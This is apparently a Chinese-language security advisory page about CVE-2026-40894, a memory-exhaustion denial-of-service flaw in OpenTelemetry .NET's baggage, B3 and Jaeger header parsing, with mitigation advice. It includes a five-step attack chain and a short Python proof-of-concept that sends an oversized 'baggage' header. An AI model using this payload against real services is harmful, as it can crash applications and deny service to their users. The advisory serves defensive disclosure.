IPBUF安全漏洞报告
English
CVE-2026-40894 CVSS 5.3 中危

CVE-2026-40894 OpenTelemetry dotnet 内存耗尽DoS漏洞

披露日期: 2026-04-23

漏洞信息

漏洞编号
CVE-2026-40894
漏洞类型
拒绝服务
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
OpenTelemetry dotnet (OpenTelemetry.Api, OpenTelemetry.Extensions.Propagators)

相关标签

拒绝服务DoSOpenTelemetrydotnet内存耗尽CVE-2026-40894

漏洞概述

OpenTelemetry dotnet 是一个 .NET 遥测框架。在 OpenTelemetry.Api 0.5.0-beta.2 至 1.15.2 和 OpenTelemetry.Extensions.Propagators 1.3.1 至 1.15.2 版本中,处理 baggage、B3 和 Jaeger 数据的实现细节存在缺陷。解析这些数据时可能分配过量内存,导致应用程序面临潜在的拒绝服务风险。该问题已在 1.15.3 版本中修复。

技术细节

该漏洞源于 OpenTelemetry .NET 库在解析分布式追踪上下文时的实现缺陷。具体涉及 `OpenTelemetry.Api` 和 `OpenTelemetry.Extensions.Propagators` 组件中处理 Baggage、B3 及 Jaeger 协议的代码逻辑。攻击者可利用网络向量(AV:N),无需认证(PR:N)且无需用户交互(UI:N),向目标应用程序发送包含特制数据的 HTTP 请求头部。由于解析代码在处理这些恶意输入时未能正确限制内存分配速率或大小,可能导致服务器瞬间分配过量内存。这种资源耗尽会导致应用程序崩溃或响应严重迟缓,从而形成拒绝服务。虽然该漏洞对机密性和完整性无直接影响,但会对可用性造成严重影响。

攻击链分析

STEP 1
侦察
攻击者识别出目标使用了受影响版本的 OpenTelemetry dotnet 组件。
STEP 2
构造恶意请求
攻击者构造包含特制 Baggage、B3 或 Jaeger 头部的 HTTP 请求,旨在触发解析器的过度内存分配。
STEP 3
发送请求
攻击者通过网络向目标应用程序发送该恶意请求,无需认证或用户交互。
STEP 4
资源耗尽
应用程序解析恶意头部时分配过量内存,导致 CPU 或内存资源耗尽。
STEP 5
拒绝服务
应用程序崩溃或停止响应,合法用户无法访问服务。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests # Target URL (Replace with actual vulnerable endpoint) target_url = "http://localhost:5000/api/trace" # Generate a malicious payload to trigger excessive memory allocation. # This targets the baggage parsing logic mentioned in the advisory. # Creating a very long key-value pair can exhaust memory during parsing. malicious_payload = "key=" + "A" * 10000000 # 10 million characters headers = { "baggage": malicious_payload, "User-Agent": "CVE-2026-40894-POC" } try: print(f"Sending payload to {target_url}...") response = requests.get(target_url, headers=headers, timeout=10) print(f"Request completed. Status Code: {response.status_code}") except requests.exceptions.Timeout: print("Request timed out. Potential DoS condition triggered.") except Exception as e: print(f"An error occurred: {e}")

影响范围

OpenTelemetry.Api >= 0.5.0-beta.2, <= 1.15.2
OpenTelemetry.Extensions.Propagators >= 1.3.1, <= 1.15.2

防御指南

临时缓解措施
如果无法立即升级,建议在反向代理(如 Nginx)或 Web 应用防火墙(WAF)层面限制 HTTP 请求头的大小,特别是针对 baggage、b3 和 uber-trace-id 等特定头部进行长度检查或过滤,以阻断恶意流量到达应用程序。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表